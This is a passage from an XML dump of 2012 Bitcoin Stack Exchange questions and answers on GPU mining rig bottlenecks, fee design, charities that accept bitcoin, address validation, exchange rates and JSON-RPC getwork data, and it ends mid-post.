  <row Id="2550" PostTypeId="2" ParentId="2546" CreationDate="2012-01-12T13:25:28.870" Score="1" Body="&lt;p&gt;You could check the temperature on the devices, the one active should be running much hotter than the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're all running hot the bottleneck is elsewhere (CPU or memory/bandwidth). If none of them are running hot you've bought one hell of a CPU to get 200Mhash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else it's advisable to check whether or not you can use the non-default videocard at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid I lack the videocards to test this myself :)&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-01-12T13:25:28.870" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2551" PostTypeId="2" ParentId="2535" CreationDate="2012-01-12T13:33:46.360" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/&quot; rel=&quot;nofollow&quot;&gt;The Bitcoin wiki&lt;/a&gt; contains &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;a rather large list of companies that accept Bitcons&lt;/a&gt;. You can also add yourself to it once you started accepting Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The truth is Bitcoin is still in it's early days; soon it will be much easier to accept them.&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="770" LastEditDate="2012-01-19T12:50:42.453" LastActivityDate="2012-01-19T12:50:42.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2553" PostTypeId="1" AcceptedAnswerId="2557" CreationDate="2012-01-12T15:38:21.013" Score="10" ViewCount="1877" Body="&lt;p&gt;The current fee mechanism is confusing and difficult to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current fee system uses transaction size and the size of the block the transaction is due to appear in to calculate the fee. If you're writing a Bitcoin client such as a web wallet or android app this is not easy to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason we couldn't have a well documented fee mechanism along the following lines ?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fixed fee, or&lt;/li&gt;&#xA;&lt;li&gt;% of transaction amount, or&lt;/li&gt;&#xA;&lt;li&gt;% of transaction amount capped or floored.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="293" LastEditorUserId="2306" LastEditDate="2013-03-13T15:46:08.953" LastActivityDate="2013-03-13T15:46:08.953" Title="Why can't we set fees to a fixed amount say 0.005 BTC?" Tags="|transaction-fees|" AnswerCount="6" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2554" PostTypeId="2" ParentId="2553" CreationDate="2012-01-12T16:12:55.523" Score="3" Body="&lt;p&gt;Why set a fee, when the market can very well find it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you know 0.005 BTC is &quot;the right amount&quot;? This is important, because it will become the main incentive to mine, when the block reward drops to zero. It's impossible to predict now what the best amount will be ... too low, and not enough miners will mine, opening the network to double spend. Too high, users suffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practically speaking - for the time being, just use a constant 0.005. APIs will be available in the future to determine a recommended TX fee, based on actual statistics.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-12T16:12:55.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2555" PostTypeId="2" ParentId="2547" CreationDate="2012-01-12T17:01:22.830" Score="3" Body="&lt;p&gt;The results are specific to the website and the order in which the addresses were input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be easily determined by experiment. I took a random address from BE and it gave me &lt;a href=&quot;http://btc.to/2z7&quot; rel=&quot;nofollow&quot;&gt;http://btc.to/2z7&lt;/a&gt;. I took another address and it gave me &lt;a href=&quot;http://btc.to/2z8&quot; rel=&quot;nofollow&quot;&gt;http://btc.to/2z8&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So clearly, it stores all given addresses in a database, and the URL is the address ID encoded in base 36 (experiment also shows that it's case insensitive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it only accepts valid Bitcoin addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More generally, it's impossible for any algorithm to take an arbitrary long, high-entropy string and give a short string which can be uniquely mapped back to the input.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-01-13T08:25:42.523" LastActivityDate="2012-01-13T08:25:42.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2556" PostTypeId="2" ParentId="2553" CreationDate="2012-01-12T17:19:39.990" Score="5" Body="&lt;p&gt;The current fee schedule exists to defend against spamming the network. The load on the network has nothing to do with the amount transferred and everything to do with the size of the transaction. The likelihood that a transaction is intended as spam rather than legitimate is influenced by the use of recent coins (since an attacker will rapidly use the same coins again and again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you enforce a fee which is independent of those, you'll allow attackers to overload the network by broadcasting rapid, huge transactions and having to pay only 0.005 BTC fee each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value 0.005 BTC specifically is a lot for legitimate microtransactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future the way fees work will be completely different, but nobody knows exactly how.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-01-12T17:31:16.430" LastActivityDate="2012-01-12T17:31:16.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2557" PostTypeId="2" ParentId="2553" CreationDate="2012-01-12T17:21:36.327" Score="14" Body="&lt;p&gt;I was also giving the problem a bit of thought, and here are some conclusions I reached:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is impossible to set a fixed fee once and for all, as one does not know the volume of transactions that will appear in the future, nor how big an exponent of Bitcoins will be a &amp;quot;common sight&amp;quot; (before Bitcoins became popular, &lt;a href=&quot;http://www.bitcointrading.com/forum/index.php?topic=328.0&quot; rel=&quot;noreferrer&quot;&gt;someone paid 10kBTC for a pizza for example&lt;/a&gt;). So the fee would need to be adjusted over time, a bit like difficulty.&lt;/li&gt;&#xA;&lt;li&gt;Percentage of transaction amount would be harming the people owning large amount of Bitcoins in one address, as in order to spend some of their Bitcoins, they need to send the rest back to themselves. This would encourage people to spread their Bitcoins over many addresses, creating an accounting mess at times.&lt;/li&gt;&#xA;&lt;li&gt;Calculating the fee based on real-world value of 1BTC would be too hard, as it would require a lot of knowledge form outside the network.&lt;/li&gt;&#xA;&lt;li&gt;Calculating the fee based on current difficulty can be slippery for transactions sent around the difficulty adjustment block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So in general, the current way of calculating the fee might not be that good, but nobody smart enough has come up with anything better.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-01-12T17:21:36.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2558" PostTypeId="2" ParentId="2553" CreationDate="2012-01-12T17:56:43.827" Score="2" Body="&lt;p&gt;We could make the cost related to the current difficulty (of generating a new block) but quite frankly this slightly complex system is just fine. It only kicks in on strange or really small transactions and it's not that high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only that but it's only the default with which the standard Bitcoin client now works. If you think a much lower fee would also suffice, why don't you starting mining including everything with that fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a clear difference between a profit driven fee and an anti-spam measure. I think this is still solidly in the latter category.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-01-12T17:56:43.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2559" PostTypeId="2" ParentId="2537" CreationDate="2012-01-12T20:31:16.823" Score="2" Body="&lt;p&gt;Unfunded orders obviously don't show up in the orderbook. I assume that mtgoxlive is based on the same data provided by the API so it is probably accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to know, just compare the market depth from mtgoxlive with the ones shown at &lt;a href=&quot;http://bitcoincharts.com/markets/mtgoxUSD_depth.html&quot; rel=&quot;nofollow&quot;&gt;bitcoincharts&lt;/a&gt; and &lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;clarkmoody&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2012-01-12T20:31:16.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2560" PostTypeId="1" AcceptedAnswerId="2561" CreationDate="2012-01-12T22:46:36.390" Score="7" ViewCount="1633" Body="&lt;p&gt;Say someone wanted to donate some of their Bitcoins for charity, is there some comprehensive list of charities that accept donations in Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2014-09-03T11:33:54.090" LastActivityDate="2018-02-14T21:43:49.917" Title="Is there a list of charities that accept Bitcoin donations?" Tags="|charity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2561" PostTypeId="2" ParentId="2560" CreationDate="2012-01-12T23:14:48.463" Score="3" Body="&lt;p&gt;The most comprehensive list I can find is here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Donation-accepting_organizations_and_projects&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Donation-accepting_organizations_and_projects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a website &quot;Bitcoin-Charity&quot; which converts BTC to $ on behalf of charities, promising not to put more than 1% towards admin costs. A neat feature of this site is that no technological knowledge is required by the charity to receive donations, and the total donated to date is listed (though it would be better shown in $ than BTC, or both). They currently have 9 charities listed: www.bitcoin-charity.com/charities/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit note: bitcoin-charities.com is no longer active.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="9619" LastEditDate="2013-12-16T02:49:40.053" LastActivityDate="2013-12-16T02:49:40.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2562" PostTypeId="1" AcceptedAnswerId="2576" CreationDate="2012-01-13T02:21:59.740" Score="4" ViewCount="1930" Body="&lt;p&gt;I built a mining rig with 3 Radeon 6850 GPUs.  When I run one miner (either Phoenix or m0mchil's poclbm) it reports a hash rate of a little over 200 Mhash/sec.  When I fire up a second miner pointed at a different GPU, the hash rate of both miners is about half what the one running alone would get. When I fire up a third pointed at the last GPU, all three miners report an even lower hash rate, such that the total is around the 200 Mhash/sec that a solo miner would get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, I thought that the miners were ignoring the &lt;code&gt;DEVICE=#&lt;/code&gt; argument and all using the same GPU. I posted &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2546/miners-dogpiling-on-one-device&quot;&gt;a question&lt;/a&gt; seeking help in figuring out why they would do that. @Lodewijk's answer there clued me in to the fact that the miners are using separate GPUs and that there's a bottleneck elsewhere in the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is, what's the likely bottleneck?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the recommendations at the bitcoin.it wiki entry on &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_rig&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mining Rigs&lt;/a&gt; to pick out my hardware.  I'm running on a Ubuntu 11.10 system, with an msi 890FXA-GD70 motherboard, 2GB Kingston 1333MHz DDR3 Non-ECC RAM, 80GB WD IDE Drive, and a 2.8Ghz AMD Semperon 145 processor. It's on a cable Internet connection with tons of bandwidth and I'm connecting to the &lt;a href=&quot;http://arsbitcoin.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Arsbitcoin&lt;/a&gt; mining pool.&lt;/p&gt;&#xA;" OwnerUserId="843" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2016-03-06T19:03:51.097" Title="Help locating bottleneck on new mining rig" Tags="|gpu-mining|miner-configuration|guiminer|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2563" PostTypeId="1" AcceptedAnswerId="2628" CreationDate="2012-01-13T07:44:14.680" Score="2" ViewCount="444" Body="&lt;p&gt;Is there some mining software out there that doesn't use Json-RPC as a communication method with the mining pool? If so, what protocol are they using?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-25T11:40:16.763" LastActivityDate="2016-03-25T11:40:16.763" Title="Mining software not using Json-RPC?" Tags="|mining-pools|json-rpc|mining-software|getwork|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2564" PostTypeId="1" AcceptedAnswerId="2565" CreationDate="2012-01-13T09:32:23.333" Score="17" ViewCount="14483" Body="&lt;p&gt;Is there a code snippet that validates a bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for both javascript and java snippets. The code should support both testnet and real addresses.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-10-06T10:40:34.640" Title="How to validate a Bitcoin address is a real one?" Tags="|development|address|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2565" PostTypeId="2" ParentId="2564" CreationDate="2012-01-13T10:04:35.490" Score="5" Body="&lt;p&gt;For Java, have a look at the validateAddress(String) method in this class:&#xA;&lt;a href=&quot;https://github.com/jim618/multibit/blob/master/src/main/java/org/multibit/viewsystem/swing/action/Validator.java&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jim618/multibit/blob/master/src/main/java/org/multibit/viewsystem/swing/action/Validator.java&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="9175" LastEditDate="2013-12-22T18:46:59.853" LastActivityDate="2013-12-22T18:46:59.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2566" PostTypeId="1" AcceptedAnswerId="2567" CreationDate="2012-01-13T15:00:47.977" Score="18" ViewCount="14909" Body="&lt;p&gt;I noticed that there are exchange rates for Bitcoin to other given currencies. How are these rates established?&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="5406" LastEditDate="2015-05-12T15:07:09.597" LastActivityDate="2023-07-31T08:26:06.920" Title="How is the exchange rate for Bitcoin established?" Tags="|exchanges|exchange-rate|" AnswerCount="8" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2567" PostTypeId="2" ParentId="2566" CreationDate="2012-01-13T15:20:13.427" Score="12" Body="&lt;ol&gt;&#xA;&lt;li&gt;You have people that have BTC or currency already in their accounts.&lt;/li&gt;&#xA;&lt;li&gt;Those people can claim: &quot;I will buy/sell X amount of Bitcoins for Y amount of currency&quot;. If you divide one by the other, you have the exchange rate for that particular transaction.&lt;/li&gt;&#xA;&lt;li&gt;If a buy and sell transaction overlap, they are executed and removed from the system.&lt;/li&gt;&#xA;&lt;li&gt;After all such transactions are removed, you have a gap between the exchange rate at which people want to buy Bitcoins, and that at which people want to sell Bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;Average the closest buy-sell pair of transactions and you have the exchange rate, halfway between those two, or the price of the last trade may be used. In both cases, it's only an estimate of the price that the next trade will take place at.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="323" LastEditorUserId="516" LastEditDate="2017-11-14T21:14:14.117" LastActivityDate="2017-11-14T21:14:14.117" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2568" PostTypeId="2" ParentId="2564" CreationDate="2012-01-13T15:48:44.283" Score="9" Body="&lt;p&gt;also, the official client bitcoind has a 'validateaddress' command. see &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could call that from your code if you happen to have bitcoind running already.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2012-01-13T15:48:44.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2569" PostTypeId="2" ParentId="2566" CreationDate="2012-01-13T15:52:43.467" Score="6" Body="&lt;p&gt;Most exchanges use the double-auction market system for price discovery. Read more at&#xA;&lt;a href=&quot;http://www.investopedia.com/terms/a/auctionmarket.asp&quot;&gt;http://www.investopedia.com/terms/a/auctionmarket.asp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In economics-speak, the auction market converges where supply and demand intersect.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2012-01-13T15:52:43.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2570" PostTypeId="1" AcceptedAnswerId="2612" CreationDate="2012-01-13T18:46:23.763" Score="24" ViewCount="13639" Body="&lt;p&gt;I'm trying to communicate with the new Bitcoin-Qt -server via a &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#Controlling_Bitcoin&quot;&gt;command line&lt;/a&gt; on Mac. I run ./Bitcoin-Qt -server, the application starts, but my terminal window is stuck on an empty line (no matter what I type in, there is no response). Only when I quit Bitcoin am I able to run any commands, but then I can't communicate with Bitcoin, because it is already off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I start Bitcoin-Qt -server on Mac and control it through command line?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2022-07-15T09:50:22.727" Title="Bitcoin-Qt command line control on Mac" Tags="|bitcoin-core|mac|json-rpc|server|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2571" PostTypeId="1" AcceptedAnswerId="2574" CreationDate="2012-01-13T19:53:48.097" Score="5" ViewCount="1525" Body="&lt;p&gt;I recently tried playing around with the getwork command for JSON-RPC and I'm trying to understand what I got out of it. According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;noreferrer&quot;&gt;API Call List wiki entry&lt;/a&gt;, the &quot;data&quot; field should contain the block data to be hashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data field I got was:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00000001a10bacc7e639d1c69a01014bc5db6f2604b3477a3f273a4e019a232700000000a5942372cc60477c8a276e59c8f1a3f58654ea2f6c4402bf1b18e48455b5b8f64f10868b1c07475200000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which after being dissected a bit according to &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#block&quot; rel=&quot;noreferrer&quot;&gt;the protocol&lt;/a&gt; would yield:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000001 - version&#xA;a10bacc7e639d1c69a01014bc5db6f2604b3477a3f273a4e019a232700000000 - prev_block&#xA;a5942372cc60477c8a276e59c8f1a3f58654ea2f6c4402bf1b18e48455b5b8f6 - merkle_root&#xA;4f10868b - timestamp&#xA;1c074752 - bits&#xA;00000000 - nonce&#xA;00 - txn_count of 0?&#xA;0000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000 - ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with the data I'm getting? Would the client respond differently if I run it with the -gen option?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-13T22:30:03.897" Title="JSON-RPC getwork data field" Tags="|block|raw-data|getwork|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2572" PostTypeId="1" CreationDate="2012-01-13T20:46:42.950" Score="4" ViewCount="355" Body="&lt;p&gt;What are the core &lt;a href=&quot;http://dot-bit.org/Merged_Mining#Getting_the_source_code_.28pool_operators_only.29&quot; rel=&quot;nofollow&quot;&gt;changes to bitcoind&lt;/a&gt; that allow one to &lt;a href=&quot;http://dot-bit.org/Merged_Mining&quot; rel=&quot;nofollow&quot;&gt;merge-mine&lt;/a&gt;? Are there any new JSON-RPC commands that are enabled, or changes to the existing ones?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="196" LastEditDate="2013-03-03T14:01:50.413" LastActivityDate="2013-03-03T14:01:50.413" Title="Merged mining custom bitcoind" Tags="|bitcoind|json-rpc|namecoin|merged-mining|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2573" PostTypeId="2" ParentId="2566" CreationDate="2012-01-13T21:04:00.473" Score="1" Body="&lt;p&gt;The MtGox exchange rate for bitcoin to USD is established in a 24/7 free market where bids meet offers to generate a last trade price. The bid/offer spread represents the distance that market participants are willing to buy or sell their bitcoin. This is no different than any other free market or any other free-market exchange-determined commodity price. See; &lt;a href=&quot;http://mtgoxlive.com/orders&quot; rel=&quot;nofollow&quot;&gt;http://mtgoxlive.com/orders&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="916" LastEditorUserId="916" LastEditDate="2012-01-30T15:27:44.060" LastActivityDate="2012-01-30T15:27:44.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2574" PostTypeId="2" ParentId="2571" CreationDate="2012-01-13T22:30:03.897" Score="4" Body="&lt;p&gt;The number of transactions in the header is always zero, per the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Block_Headers&quot; rel=&quot;nofollow&quot;&gt;specification&lt;/a&gt;. The &lt;code&gt;-gen&lt;/code&gt; option has no effect on the &lt;code&gt;getwork&lt;/code&gt; RPC call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you think is wrong with that information, but if it's just the zero transaction count, that's always that way. If it's the fact that you only get the headers you need to hash, it's always that way. Of course the &lt;code&gt;nonce&lt;/code&gt; is 0 because the client has no idea what the nonce should be. (That's the point of &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;mining&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-13T22:30:03.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2575" PostTypeId="2" ParentId="2562" CreationDate="2012-01-14T00:14:55.627" Score="1" Body="&lt;p&gt;An ancient sysadmin technique is to evade a non-trivial bug rather than tackle it head-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download cgminer and give it a try.&#xA;Just one instance of the miner will support these cards, each of them can be individually overclocked and temperature-controlled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be some weird spin-lock problem in AMD's software that's ruining your performance.&#xA;Which driver and SDK version are you using, BTW? Which OS?&lt;/p&gt;&#xA;" OwnerUserId="918" LastActivityDate="2012-01-14T00:14:55.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2576" PostTypeId="2" ParentId="2562" CreationDate="2012-01-14T01:35:00.173" Score="2" Body="&lt;p&gt;Did you check the CPU usage? You can use TOP on Ubuntu (sudo apt-get install top, if it's not default). If it's not capping out at 100% it's either the chipset or CPU bandwidth giving up. You can also check you regular memory, although I'm quite sure that isn't used in GPU mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some things you can easily strike off are network and disk. Disk isn't used at all and network shouldn't cap out even on dialup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is in fact chipset or CPU bandwidth you have two options:&#xA;1. Overclock. Focusing on FSB clock should improve everything. I'm quite sure you can't get a 300% increase though.&#xA;2. Build a different system. I daren't advice about this though.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-01-14T01:35:00.173" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2578" PostTypeId="2" ParentId="2495" CreationDate="2012-01-14T10:39:32.437" Score="2" Body="&lt;p&gt;I suggest you run the miner at full load but decrease GPU core clock speed (GPU mem clock speed should always be reduced) and even more important GPU voltage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reducing GPU core clock speed should reduce power linearly. Also it allows you to decrease voltage further which reduces power quadratically. Doing so you can reduce noise dramatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use cgminer you can underclock and undervolt from within the program itself. If you use another miner you can use a program supplied by your graphic card's manufacturer (e.g. MSI Afterburner, atifonfig on linux) or a third party software such as AMDOverdriveCtrl (Linux). There is also my very own windows command line tool clocktweak (not free).&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2012-01-14T10:39:32.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2579" PostTypeId="2" ParentId="2572" CreationDate="2012-01-14T10:57:25.700" Score="0" Body="&lt;p&gt;None for the normal users. Allow writing to coinbase tx for solo merged miners and pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some more info in addition to Stephen's Answer can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=48977.msg582955#msg582955&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=48977.msg582955#msg582955&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2012-01-14T10:57:25.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2580" PostTypeId="1" AcceptedAnswerId="2583" CreationDate="2012-01-14T12:18:58.833" Score="3" ViewCount="2122" Body="&lt;p&gt;The default setup on Linux/Ubuntu has Bitcoin storing the data in the &lt;code&gt;~/.bitcoin&lt;/code&gt; folder, which is usually not encrypted with &lt;a href=&quot;http://en.wikipedia.org/wiki/TrueCrypt&quot; rel=&quot;nofollow&quot;&gt;TrueCrypt&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I do now want to rely on the internal Bitcoin encryption system, but instead want to save the wallet to disk on using TrueCrypt encryption. Currently, I have a separate TrueCrypt data file, that I mount to a partition, copy files from it to &lt;code&gt;~/.bitcoin&lt;/code&gt;, and when I'm finished, I copy the files back to the truecrypt volume, and shred+delete the copies on &lt;code&gt;~/.bitcoin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is bothersome and error prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I configure Bitcoin to only take the wallet from &lt;code&gt;/media/trucrypt&lt;/code&gt;, but keep the blockchain data in &lt;code&gt;~/.bitcoin&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="1405" LastEditDate="2014-08-20T20:35:33.927" LastActivityDate="2014-08-20T20:35:33.927" Title="Can I configure Bitcoin (Linux) with a custom wallet location?" Tags="|bitcoin-core|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2581" PostTypeId="2" ParentId="331" CreationDate="2012-01-14T13:25:31.863" Score="2" Body="&lt;p&gt;No, because there is a significant advantage in requiring that the work be done on the actual transaction record, and not on any arbitrary problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By making the problem include the transaction record data, it makes any changes to the transaction history require providing a new solution, and this prevents a party from slowly 'storing' solutions, and releasing them all at once, since there are always new blocks of transactions being added to the block-chain, which means the required solution keeps changing, depending what the last block of transactions is.&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2012-01-14T13:25:31.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2582" PostTypeId="2" ParentId="423" CreationDate="2012-01-14T14:25:37.633" Score="3" Body="&lt;h1&gt;Does flattr compete with bitcoin?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Flattr does not compete with bitcoin, as long as it has unique features left compared to bitcoin. So let's have a look at what flattr can offer first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, flattr is actually offering a couple of services:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An internet payment system&lt;/li&gt;&#xA;&lt;li&gt;A micro payment system&lt;/li&gt;&#xA;&lt;li&gt;A one-click payment system&lt;/li&gt;&#xA;&lt;li&gt;A &quot;scalable&quot; payment system&lt;/li&gt;&#xA;&lt;li&gt;A fixed sum donation distribution system&lt;/li&gt;&#xA;&lt;li&gt;A hub for creators and donators who want to receive and send donations on a voluntary base&lt;/li&gt;&#xA;&lt;li&gt;(An instant payment system)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first one is obviously true for both flattr and bitcoin as well as many other systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second one can easily be done with bitcoin as well, bitcoins are very suitable to be send in very small amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the third one using the main bitcoin client, you'll usually need some copy&amp;amp;pasting, a few more clicks and the typing of a number. With better integration of the [bitcoin URI scheme][1] it could probably be brought down to just one click as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the fourth item, as Thilo has already mentioned, the current bitcoin protocol and implementation would have trouble to scale to VISA like transaction amounts. For a system with a central authority, like flattr, it is usually easier to scale. However, quite some people are positive that this could be improved when needed. Also see ['Scalibality'][2] in the bitcoin wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With item number five I mean that you do not have to think about how much you want to donate to someone, flattr takes care of that and distributes monthly donations evenly to all people you flattred during the last month. Together with item three nearly any effort needed by the donating person's brain is removed (the next and probably final step would only be to insert a probe in your brain which determins whether you liked something and if so will click for you :) ). Such a fixed sum donation, equal distribution system is not possible with bitcoin alone yet. However the more I think about it, it should be possible to implement such a feature within the bitcoin client (or a new client which uses the [bitcoin client's json-rpc interface][3]), together with some additions to the bitcoin URI scheme plus browser plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the 